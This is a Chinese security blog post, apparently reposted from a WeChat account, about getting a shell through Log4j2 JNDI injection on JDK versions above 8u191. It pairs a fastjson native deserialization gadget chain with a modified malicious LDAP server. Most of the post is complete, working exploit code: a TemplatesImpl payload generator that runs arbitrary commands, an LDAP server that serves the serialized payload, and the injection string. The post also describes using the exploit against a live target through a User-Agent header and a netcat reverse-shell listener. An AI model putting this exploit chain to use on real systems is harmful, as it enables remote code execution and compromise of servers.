【实战】log4j2绕过jdk高版本拿shell

admin 2024年7月1日14:22:42评论11 views字数 9156阅读30分31秒阅读模式

点击上方蓝字关注我们吧

【实战】log4j2绕过jdk高版本拿shell

文章有错误的地方还请师傅们指出,欢迎各位师傅加群进行技术交流~

在某次项目中扫到了一个log4j2漏洞,立马拿着常用工具一顿猛梭,结果发现该站用的是jdk8,且版本高于1.8.0_191。【实战】log4j2绕过jdk高版本拿shell【实战】log4j2绕过jdk高版本拿shell查找了网上大部分文章,正常攻击的话高于以下版本就打不了了。【实战】log4j2绕过jdk高版本拿shell因为高版本在VersionHelper12.loadClass方法中加了一个判断,如下新增了"com.sun.jndi.ldap.object.trustURLCodebase"变量来控制是否允许请求Codebase下载所需的Class文件,且该变量默认为false。【实战】log4j2绕过jdk高版本拿shell【实战】log4j2绕过jdk高版本拿shell【实战】log4j2绕过jdk高版本拿shell但是我们还是可以正常请求Ldap服务器,所以我们仍然有可能通过自己的恶意Ldap服务器构建返回恶意代码,从而实现注入攻击。接下来,我们就一起来讨论下高版本如何通过Ldap恶意服务器对服务器进行攻击。最近刚好看到Y4tacker老师的文章:

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

发现fastjson从1.2.49开始也有一条原生反序列化链可用,抱着对方站点用了fastjson的幻想,深夜开启了本地环境搭建和调试。

环境搭建

新建第一个maven项目,jdk版本为1.8.0_221(高于1.8.0_191版本)【实战】log4j2绕过jdk高版本拿shell将以下内容添入pom中,需要添加引入fastjson,这里我引入了1.2.83版本

<dependencies>    <dependency>      <groupId>org.apache.logging.log4j</groupId>      <artifactId>log4j-core</artifactId>      <version>2.12.1</version>    </dependency>    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->    <dependency>      <groupId>org.apache.logging.log4j</groupId>      <artifactId>log4j-api</artifactId>      <version>2.12.1</version>    </dependency>    <dependency>      <groupId>org.apache.logging.log4j</groupId>      <artifactId>log4j-1.2-api</artifactId>      <version>2.12.1</version>    </dependency>    <dependency>      <groupId>org.apache.logging.log4j</groupId>      <artifactId>log4j-api</artifactId>      <version>2.17.2</version>    </dependency>    <dependency>      <groupId>com.alibaba</groupId>      <artifactId>fastjson</artifactId>      <version>1.2.83</version>    </dependency>  </dependencies>

为了节约时间就没搭建web页面,使用以下代码模拟log4j2漏洞触发点:log4jRCE.java

import org.apache.logging.log4j.Logger;import org.apache.logging.log4j.LogManager;public class log4jRCE {    private static final Logger logger = LogManager.getLogger(log4jRCE.class);    public static void main(String[] args) {        logger.error("${jndi:ldap://127.0.0.1:1389/a}");    }}

fastjson原生反序列化链exp:cloudCrow.java

import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;class cloudCrow {    // 在一个TemplatesImpl对象上设置一项。TemplatesImpl是Java的内部类,用于XML转换。    // 这个函数通过反射获取字段,并将其设置为可以访问,然后设置值。    public static void setValue(TemplatesImpl obj , String name , Object value) throws IllegalAccessException, NoSuchFieldException {        Field declaredField = obj.getClass().getDeclaredField(name);  // 获得声明的字段        declaredField.setAccessible(true); // 设置字段为可以访问        declaredField.set(obj,value); // 设置字段的值    }    // 这个函数创建了一个新的类,并在这个类的构造函数中执行一个命令。    // 类是从AbstractTranslet类(用于XML转换)派生的。    public static byte[] genPayload(String cmd) throws Exception {        ClassPool pool = ClassPool.getDefault(); // 创建一个新的类池        CtClass clazz = pool.makeClass("a"); // 创建一个新的类"a"        CtClass ctClass = pool.get(AbstractTranslet.class.getName()); // 获取AbstractTranslet类        clazz.setSuperclass(ctClass); // 设置新类的父类为AbstractTranslet        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, clazz); // 为新类创建一个构造函数        ctConstructor.setBody("Runtime.getRuntime().exec(""+ cmd +"");"); // 在构造函数中执行命令        clazz.addConstructor(ctConstructor); // 将构造函数添加到类中        clazz.getClassFile().setMajorVersion(49); // 设置类的主要版本号        return clazz.toBytecode(); // 返回这个类的字节码    }    public static void main(String[] args) throws Exception {        byte[][] bytess = new byte[][]{genPayload("calc")}; // 调用genPayload函数生成负载        TemplatesImpl temp = TemplatesImpl.class.newInstance(); // 创建一个新的TemplatesImpl实例        setValue(temp,"_bytecodes",bytess); // 给TemplatesImpl实例设置字节码        setValue(temp,"_name","1"); // 给TemplatesImpl实例设置名字        setValue(temp,"_tfactory",null); // 给TemplatesImpl实例设置变厂对象        JSONArray jsonArray = new JSONArray(); // 创建一个新的JSON数组        jsonArray.add(temp); // 将TemplatesImpl实例添加到JSON数组        BadAttributeValueExpException bd = new BadAttributeValueExpException(null); // 创建一个新的对象        Field declaredField = bd.getClass().getDeclaredField("val"); // 获取对象的声明字段        declaredField.setAccessible(true); // 设置字段为可访问的        declaredField.set(bd,jsonArray); // 将对象的字段设置为JSON数组        HashMap hashMap = new HashMap(); // 创建一个新的HashMap        hashMap.put(temp,bd); // 将TemplatesImpl实例和对象添加到HashMap        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 创建一个新的字节数组输出流        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 创建一个新的对象输出流        objectOutputStream.writeObject(hashMap); // 将HashMap写入到对象输出流        byte[] bytes = byteArrayOutputStream.toByteArray(); // 输出流转化为字节数组        FileOutputStream fos = new FileOutputStream("D:\1.ser"); // 创建文件输出流        fos.write(bytes); // 将字节数组写入文件    }}

再新建一个ldap服务器项目。(由于短时间没找到合适的工具能将之前生成序列化流文件进行读取,然后再通过ladp服务进行,所以就在网上找了ldap服务端代码然后进行修改:pom.xml

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>    <groupId>org.example</groupId>    <artifactId>demo5</artifactId>    <version>1.0-SNAPSHOT</version>    <properties>        <maven.compiler.source>8</maven.compiler.source>        <maven.compiler.target>8</maven.compiler.target>        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>    </properties>    <dependencies>        <dependency>            <groupId>org.apache.directory.server</groupId>            <artifactId>apacheds-all</artifactId>            <version>2.0.0-M24</version>        </dependency>    </dependencies></project>

由于maven 无法拉取 unboundid 这个依赖。。。。。。,这里从网上下了一个手动添加至lib中:下载地址:

https://repo.maven.apache.org/maven2/com/unboundid/unboundid-ldapsdk/3.2.0/unboundid-ldapsdk-3.2.0.jar

ldap服务:LDAPServer2.java

import java.io.File;import java.io.FileInputStream;import java.io.IOException;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import java.util.Base64;public class LDAPServer2 {    private static final String LDAP_BASE = "dc=example,dc=com";    private static byte[] readFileBytes(String filename) throws IOException {        File file = new File(filename);        byte[] data = new byte[(int) file.length()];        try (FileInputStream fis = new FileInputStream(file)) {            fis.read(data);        }        return data;    }    public static void main (String[] args) {        String url = "http://192.168.127.120:8081/#eeee";        int port = 1389;        try {            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);            config.setListenerConfigs(new InMemoryListenerConfig(                    "listen",                    InetAddress.getByName("0.0.0.0"),                    port,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory) SSLSocketFactory.getDefault()));            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);            System.out.println("Listening on 0.0.0.0:" + port);            ds.startListening();        }        catch ( Exception e ) {            e.printStackTrace();        }    }    private static class OperationInterceptor extends InMemoryOperationInterceptor {        private URL codebase;        /**         *         */        public OperationInterceptor ( URL cb ) {            this.codebase = cb;        }        /**         * {@inheritDoc}         *         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)         */        @Override        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {            String base = result.getRequest().getBaseDN();            Entry e = new Entry(base);            try {                sendResult(result, base, e);            }            catch ( Exception e1 ) {                e1.printStackTrace();            }        }        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);            e.addAttribute("javaClassName", "Exploit");            String cbstring = this.codebase.toString();            int refPos = cbstring.indexOf('#');            if ( refPos > 0 ) {                cbstring = cbstring.substring(0, refPos);            }//            e.addAttribute("javaCodeBase", cbstring);//            e.addAttribute("objectClass", "javaNamingReference");//            e.addAttribute("javaFactory", this.codebase.getRef());            e.addAttribute("javaClassName", "foo");            e.addAttribute("javaSerializedData", readFileBytes("D:\1.ser"));            result.sendSearchEntry(e);            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));        }    }}

文件操作:在内存中读取并存储指定文件内容,并返回存储该文件内容的字节数组。【实战】log4j2绕过jdk高版本拿shell在XML元素e上添加两个属性,分别名为javaClassName和javaSerializedData,并分别赋予它们值foo和从D:1.ser文件读取的字节数据。【实战】log4j2绕过jdk高版本拿shell

漏洞验证

项目搭建好后,首先在第一个项目中的cloudCrow.java点击运行,会在本地D盘生成序列为文件exp.ser【实战】log4j2绕过jdk高版本拿shell【实战】log4j2绕过jdk高版本拿shell然后再运行第二个项目的LDAPServer文件【实战】log4j2绕过jdk高版本拿shell【实战】log4j2绕过jdk高版本拿shell最后再回到第一个项目中的log4jRCE.java中触发漏洞【实战】log4j2绕过jdk高版本拿shell成功弹出计算器,且ldap服务接到请求,说明复现成功了。【实战】log4j2绕过jdk高版本拿shell匆匆忙忙的终于把复现环境给搭建起来了,项目时间紧迫,这次只能将就点用了。立马直接打包成jar包上传至vps中使用,尝试是否在项目上拿到shell。后续摸索着写一个工具将链内置工具里,因为用fastjson的站挺多的,且在83版本下也能拿shell。

实战

编写反弹shell命令【实战】log4j2绕过jdk高版本拿shell将反弹shell命令添加至于log4jRCE.java中,运行生成的exp.ser上传至攻击机【实战】log4j2绕过jdk高版本拿shell

运行jar包后,就会开启ldap的1389端口服务读取exp.ser序列化文件【实战】log4j2绕过jdk高版本拿shell再使用nc开启80端口监听【实战】log4j2绕过jdk高版本拿shell

漏洞点在User-Agent处,使用bp发包【实战】log4j2绕过jdk高版本拿shell

攻击机成功接收到,并且返回对方jdk版本【实战】log4j2绕过jdk高版本拿shell

nc监听这边也成功拿到了shell【实战】log4j2绕过jdk高版本拿shell

总结

之后遇到了log4j漏洞且jdk版本过高,可先判断该站点使用了哪些组件或库以及对应利用链的版本要求,例如:fastjson、jackson、CC、CB、groovy、hibernate等,当然有源码的情况下就最好了。然后使用ldap/rmi+利用链来进行攻击。最后,文章中描述有误的地方还请师傅们指出,java小白新手上路中~。

【实战】log4j2绕过jdk高版本拿shell

加入我们学习群一起学习交流,一群已超过200人,可扫 码添加左侧运营微信发送验证”云鸦“进入,也可以扫码直接二群,欢迎师傅们一起学习交流,每天学习安全新知识~

【实战】log4j2绕过jdk高版本拿shell

原文始发于微信公众号(云鸦安全):【实战】log4j2绕过jdk高版本拿shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月1日14:22:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【实战】log4j2绕过jdk高版本拿shellhttps://cn-sec.com/archives/2904553.html

发表评论

匿名网友 填写信息